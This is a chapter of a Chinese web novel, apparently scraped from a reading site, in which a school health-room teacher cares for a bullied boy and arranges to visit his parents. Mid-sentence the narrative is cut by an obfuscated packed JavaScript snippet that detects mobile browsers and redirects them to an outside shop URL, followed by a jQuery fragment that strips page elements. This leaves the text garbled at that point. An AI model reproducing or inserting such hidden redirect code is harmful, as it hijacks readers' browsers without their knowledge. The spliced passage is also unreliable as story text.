默认冷灰
24号文字
方正启体

19. 单独任务(三)

作者:hinako本书字数:K更新时间:
    把渡边安置在床上后,相越就开始仔细调查他身上的伤口。伤口颜色深浅不一,且大多在不显眼的位置,比如说腹部、大腿。这更能说明那群人是打架的老手了,专往这些地方打,是为了不被他人发现。


    不过以渡边的性子,他不可能就这样忍着啊。于是相越直接问:“你有告诉其他人吗?”


    “没用。”渡边低着头,神色不明。


    短短两个字,相越就有了许多的猜测,只待验证。他抿起嘴唇,拿起冷敷用的冰块并用一层薄巾盖住那些地方,叮嘱道:“这些地方记得每天都要用冰块冷敷二十分钟,这样淤血自然就会消散。”


    渡边被痛和冷得龇牙咧嘴,抖着声音敷衍道:“知道了。”


    面对渡边的敷衍,相越只能叹了一口气,心道这小子根本就没听进去。该不会他还在想伤口正是荣耀的标志,这种中二少年才会有的想法吧。


    不过相越也没有资格嘲笑对方,因为在那一段孤独的岁月里,他紧抱着唯一的念想。有时自暴自弃了,也会用这种话语安慰自己。


    而且那时的自己比渡边好多了,起码相越面对那样一大帮混混,他能把他们揍得满地找牙。


    虽然好像有不同的团伙,但他可不管,只要挡住他,就都揍了。


    这样一想,其实他挺疯的?


    就是这段潜入的时间里,他得好好教渡边几招了。


    相越心中叹道,明明他也还是今长谷和局长的学生,没资格教导任何人。


    灰暗的心思一起,相越马上摇了摇头。真是的,自己怎么可以和今长谷,还有局长那些人相提并论呢?他们简直是怪物。新宫的话,好一点点。但她能把那个大锤子挥得来去自如。要是被挥到,就可以原地和所有人说再见了吧。


    整个局里就只有自己、副局,还有地井比较正常了。在这个满是挂壁的局里,他只能尽力而为了,就像竞技大会那样,总会有办法的。


    相越如此想着,完成了所有的包扎工作。


    只是在这些细碎的事情之前,他得完成主要的任务,也就是探查高桥家,还有渡边的事情。


    相越深吸一口气,准备接下来的台词。


    首先,不能辜负渡边对自己的信任,得交代自己的情况,相越实话实说:“其实是因为新宫大小姐有点担心你们家的情况,所以派我来探查情况。”


    “原来如此。”渡边点点头。


    眼见渡边对此接受良好,就开始下一步,发挥自己的厚脸皮补充了一句:“所以今晚可以让我到你们家吃饭吗?”


    渡边哪有见过如此厚颜无耻之人,他爆红了脸:“蛤,你在说什么啊?”


    “所以今晚可以让我到你们家吃饭吗?”比他想象中更能接受自己,相越加深了笑意,重复再问一次。


    “太突然了吧,也不是不行。我可以和老爸老妈说一声吗?”渡边有些不好意思。


    “当然可以。”相越递过保健室的电话,心道果然这个小孩是个外面满是刺、里面是棉花糖的家伙啊。和直酱一模一样。这样一想就忽然很想笑。再看到渡边老实接过电话,乖巧地用敬语问电话那头的人可不可以带自己去吃饭时,就忍不住了,只能捏着脸强忍着笑意。


    当渡边把电话递给自己时,他深吸一口气,把笑意压在肚子里,聆听听筒里的内容。


    听筒里是一把女声:“你好,我是渡边昭子。我刚从犬子那里听说您想要光临敝舍,我可以请问这是为何吗?”


    眼见对方如此直接,相越也直截了当地述说事实:“实际上,我是契约者管理科负责本次案件的人员,名为相越和希。想问一下您是否在面临生命危险呢?”


    “案件?犬子被卷进什么事了吗?”渡边昭子没有回答自己的问题,而是焦急地问关于渡边的消息。


    “关于这件事我希望能当面和您述说。”相越心道渡边妈妈好像挺在乎自己儿子的,但为了渡边着想,他还是决定在几人聚会时再谈渡边被霸凌的事。他给渡边打了个眼色,摇了摇头,示意渡边不用惊慌。


    渡边一脸疑惑,但还是姑且点了点头。


    “我明白了。那就安排在犬子放学后可以吗?到时候您和犬子一同乘坐私家车来就好。可以帮我把电话交给犬子吗?”


    “我明白了。”相越便把电话交给渡边。


    两人聊了几句,就挂了。


    一挂断电话,渡边就收起所有的乖巧,大声质问:“为什么要和老妈说我的事?”


    “抱歉,我未经你同意就和渡边夫人说了你的事情。不过现在还有挽救的余地,不是吗?”相越跪坐在地上,与渡边平视。


    “余地?”渡边不解。


    “就是和我一起商量会和他们讲述的内容,这样到时候我们的台词就不会矛盾了。”相越拿起一张纸递给渡边,“请签名。”


    渡边点点头,老实写上自己的名字后,才反应过来:“为什么要签名呀?”


    “学校规定学生受伤后需作记录,并打电话通知家长。所以不是我想,而是上面的问题啊。抱歉,达也君。”相越摸摸头,憨笑着道歉。


    “哦。”渡边达也的注意力被相越的演技带偏,没留意到相越不知不觉拉近了两人的距离,以名字称呼。


    他傲娇地转过头:“那该怎么和老妈报告?”


    “达也君,你想和渡边夫人说你在学校被人欺负的事情吗?”说到正题,相越收起所有演技,认真注视着眼前的渡边,并没有因为他是小孩而蔑视对方的意见,而是选择尊重他的意愿。


    当有人在注视着自己时,总会忍不住想与对方对视,渡边也是如此。在学校受尽排挤的他比起同辈,更能感受到眼睛里的情绪,所以他明白相越没有任何的恶意。只是他早就经历过无数次的失败,早已对其他人和自己失去了信心,不敢再去尝试,却也不舍得拒绝来自相越的善意。


    最后他只能犹豫不决:“我也不知道。”


    眼前的人只是点头:“我明白了。那可以交给我来说吗?有什么不可以说的吗?”


    一直以来,渡边担心的只有自己的事情不被重要的人以同样的态度对待而已。


    他明白,自己只是一个小孩,小孩在乎的事情,在大人看来也许是微不足道到不足以放在心上,随便便能抛到脑后。


    所以每次才会被随口打发过去,并以大人看来更为重要的事情揭过这个话题。


    但这次不一样。和自己沟通的对象是一个大人,于契约者管理科这个大部门工作,具有信服力。如此一来,说不定可以让父母把自己的事听进耳中。


    有了这个可能性,渡边的眼中浮现起一丝亮光:“没有,可以拜托你吗?”


    “当然,我会尽力的。有需要的时候,达也君可以协助我吗?”与自己平视的成年男子,这刻比以往任何一个时候看上去都要可靠。相越毫不犹豫应下渡边的无理要求,把渡边本应做的事全都揽下。


    “好。谢谢……不,一直以来都谢谢你。相越……桑,不,老师?”渡边这一刻才打开心门,他露出了面对母亲时的乖巧面容,补上了一直以来没说的话。


    “哈哈哈,不用谢。不过话说回来,我现在姑且是一个保健


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496114|202510||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    室老师,所以不是‘桑’,而是‘老师’。竟然能被称为老师,还真是没想到啊,哈哈哈……”相越狂笑着,非常高兴,也有一丝欣慰。


    他这是出师了?有学生了。


    同时,铃声响起,要上课了。渡边翻了个白眼,瞬间又对眼前人的可靠性感到怀疑。只是被铃声打断,才无视这个“可靠”的大人,扶着床边爬起来。


    还没爬起来,笑声戛然而止,相越伸出手阻止渡边:“达也君,二十分钟还没到。你要去哪里?”


    “上课,铃声响了。”


    相越指了指渡边身上的冰块:“还没有二十分钟,把冰块拆了再回去吧。”


    渡边低头,身上的包袱确实很重,行动非常不便。刚才自己连站起来都做不到,只是一会儿是数学课,可能又会被那个糟老头班主任挑刺,他就头疼。


    “你放心,我会和班主任以及授课老师沟通。再不然到时候就把锅全赖在我身上就好,说我新来手法不熟练。所以现在先睡会儿吧。待会儿午饭时间带你去吃好吃的。”相越拍拍床边,示意渡边躺下。


    “哦。”


    渡边照做,他闭上眼睛,尝试陷入沉睡之中。但身上的冰块沉甸甸的,又冷得他发抖,伤口又痛。无论如何都睡不着,无聊之下只能睁开眼,无神地看着天花板和观察旁边的人。


    “喂,你在做什么?”


    “吃饭。”相越拿着便当,说完就往口中塞可疑的深红色方块状食物,快速咀嚼吞下,拿起水瓶大口大口灌水。整个过程不拖泥带水,非常流畅。


    “刚才那是什么鬼?”渡边没见过如此可疑的食物。


    “麻辣鸭血,很好吃的,你要尝尝吗?”相越脸色红润,满脸笑容。


    渡边太过天真,相信了:“好,我要试。”


    欠揍的是,相越下一句吊起了他的胃口:“才不给你,这是直酱做给我的。”


    这一句话无疑勾起了渡边的怒火和他的好奇心,让他越发想要知道什么是麻辣鸭血。


    再加上,渡边哪有人如此嘲讽过,他反问:“直酱是谁?你女朋友吗?”


    “咕……”这句话也戳中了相越的弱点,他无言以对。


    他也想,但目前对方没有这种意愿,还在逃跑。


    他得更加主动去追才行。


    “真是小丑,说不定对方根本没有考虑把你当做那种对象。”见他吃瘪的模样,渡边便明白还没成,于是乘胜追击。


    “咕……”再次戳中相越的弱点,因为他也怀疑过这点。说不定只是把他当作儿时玩伴、家人、保护对象,不是男女关系。


    他弱弱地反问:“你怎么知道?”


    “你看和我同班的那对互相暗恋的,每天都在想着对方,粘着对方。你上班这么久了,那个直酱连信息都没发给你,肯定没有在想着你。还有我爸妈也……反正你这顶多是单相思。”渡边引用班上的例子为自己增加说服力。


    相越看了一眼手机,画面上空荡荡的,只有手机屏幕上显示的时间,和用作手机壁纸的直酱偷拍照片,什么都没有。一切就如渡边所说,他瞬间泄了气。


    难道就如渡边所说,直酱只觉得自己是要保护的对象,而不是在意的男人?


    一时间,相越失去了所有的情绪波动,陷入沉思。二十分钟的时间到后,麻木地拆卸冰块。渡边侧着身子睡着后,相越为其盖上被子,眼神失神地看向天花板,麻木地把便当里的食物塞进嘴里。


    直到午饭的钟声响起,手机震动数下,相越反应性地拿起手机,看着亮起的手机屏幕,才恢复了高光。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)